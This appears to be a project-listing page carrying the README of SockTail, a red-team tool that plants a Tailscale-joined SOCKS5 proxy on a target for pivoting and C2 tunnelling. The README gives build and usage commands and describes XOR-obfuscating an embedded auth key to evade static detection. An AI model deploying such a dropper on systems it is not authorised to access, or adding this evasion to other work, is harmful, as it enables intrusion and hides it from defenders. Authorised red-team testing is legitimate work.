Skip to content
프로젝트

소개

장치를 Tailscale 네트워크에 연결하고 로컬 SOCKS5 프록시를 제공하는 경량 바이너리입니다. Tailscale의 내장 클라이언트(tsnet)를 사용해 레드팀 작업과 제한된 환경에 대한 일시적인 접근을 지원하도록 설계되었습니다. 설정이나 데몬, 영속성이 필요 없이 빠르게 진입할 수 있습니다.

시스템 및 인프라

이 수치를 측정하는 방법

What you can do

  • SOCKS5 proxy on port 1080 over Tailscale
  • Supports IPv4, IPv6, and domain addresses
  • Tailscale join via tsnet, no external dependencies
  • Auth key can be hardcoded (XOR-obfuscated for static analysis evasion) or supplied at runtime

측정된 스타 증가

in 24h
0
in 7 days
0
in 15 days
0
in 1 month
기록 수집 중

서로 겹치는 기간의 순증가량이며 일별 합계가 아닙니다. 측정값이 없으면 비워 둡니다. 스타는 관심도를 나타내며 품질을 보장하지 않습니다.

README.md

Original

SockTail

SockTail is a small binary that joins a device to a Tailscale network and exposes a local SOCKS5 proxy on port 1080. It's meant for red team operations where you need network access into a target system without setting up wonky port forwards, persistent daemons, or noisy tunnels.

Features

  • SOCKS5 proxy on port 1080 over Tailscale
  • Supports IPv4, IPv6, and domain addresses
  • Tailscale join via tsnet, no external dependencies
  • Auth key can be hardcoded (XOR-obfuscated for static analysis evasion) or supplied at runtime
  • Fully self-contained, no configuration files or (disk writes)

This is not meant for persistence. It's a one-shot SOCKS dropper for red team ops.

Image credit: "The SOCKS We Have at Home" by TrustedSec — thanks for the memes.

Usage

Usage: ./SockTail [hostname] [authkey] [control-url]

  hostname:    Optional. Auto-generated if not specified
  authkey:     Optional. Uses embedded key if not specified
  control-url: Optional. Uses Tailscale default or build-time URL if not specified
  port:        Fixed at 1080

Examples:
  ./SockTail
    - Auto hostname, embedded key, default control server

  ./SockTail vpn-srv-01
    - Custom hostname, embedded key, default control server

  ./SockTail shellbox-7 tskey-auth-1fXXXXXXXXXXXXXXXXXXXXXXXXXX
    - Custom hostname and runtime auth key, default control server

  ./SockTail my-proxy tskey-auth-1fXXXXXXXXXXXXXXXXXXXXXXXXXX https://headscale.example.com
    - All custom: hostname, auth key, and control server (e.g., Headscale)

How It Works

  1. On startup, SockTail creates a tsnet.Server using the provided (or embedded) Tailscale auth key and hostname.
  2. It joins the Tailnet and starts listening on localhost:1080.
  3. SOCKS5 negotiation is handled with no authentication (standard NO_AUTH method).
  4. Any CONNECT requests (IPv4, IPv6, domain) are accepted and forwarded using tsnet.Dial.
  5. Data is relayed bi-directionally until the connection is closed.

There’s no persistence. Once the binary exits, the connection to your Tailnet is dropped.

Obfuscation

The project includes XOR-based obfuscation for the AuthKey to evade static detections. You can embed your auth key at build time using compiler flags - no manual editing required!

var xorKey = []byte("747sg^8N0$")

The key will be XOR-obfuscated and embedded automatically during the build process if no key is passed on the command line.

Build

Written in Go, no external dependencies:

# Build with embedded fallback key
make build

# Build with your custom auth key (recommended)
make build-with-key AUTH_KEY=tskey-auth-client-xxxxx-your-key

# Build with custom auth key and control server (for Headscale, etc.)
make build-with-config AUTH_KEY=tskey-auth-client-xxxxx-your-key CONTROL_URL=https://headscale.example.com

# Build for all platforms with your key
make build-all-with-key AUTH_KEY=tskey-auth-client-xxxxx-your-key

# Build for all platforms with custom control server
make build-all-with-config AUTH_KEY=tskey-auth-client-xxxxx-your-key CONTROL_URL=https://headscale.example.com

The build system automatically XOR-obfuscates your auth key and embeds both the key and control URL at compile time - no manual source editing required!

Custom Control Servers: Perfect for self-hosted Tailscale solutions like Headscale. Just specify your control server URL and the appropriate auth key for that instance.

Notes

  • Traffic is end-to-end encrypted via Tailscale/WireGuard.
  • You can use this to pivot into a network, tunnel C2, or access internal services without exposing ports externally.
  • Tailscale ACLs still apply. Make sure your Tailnet allows the correct access to and from the SockTail node.

관련 프로젝트 살펴보기

불러오는 중…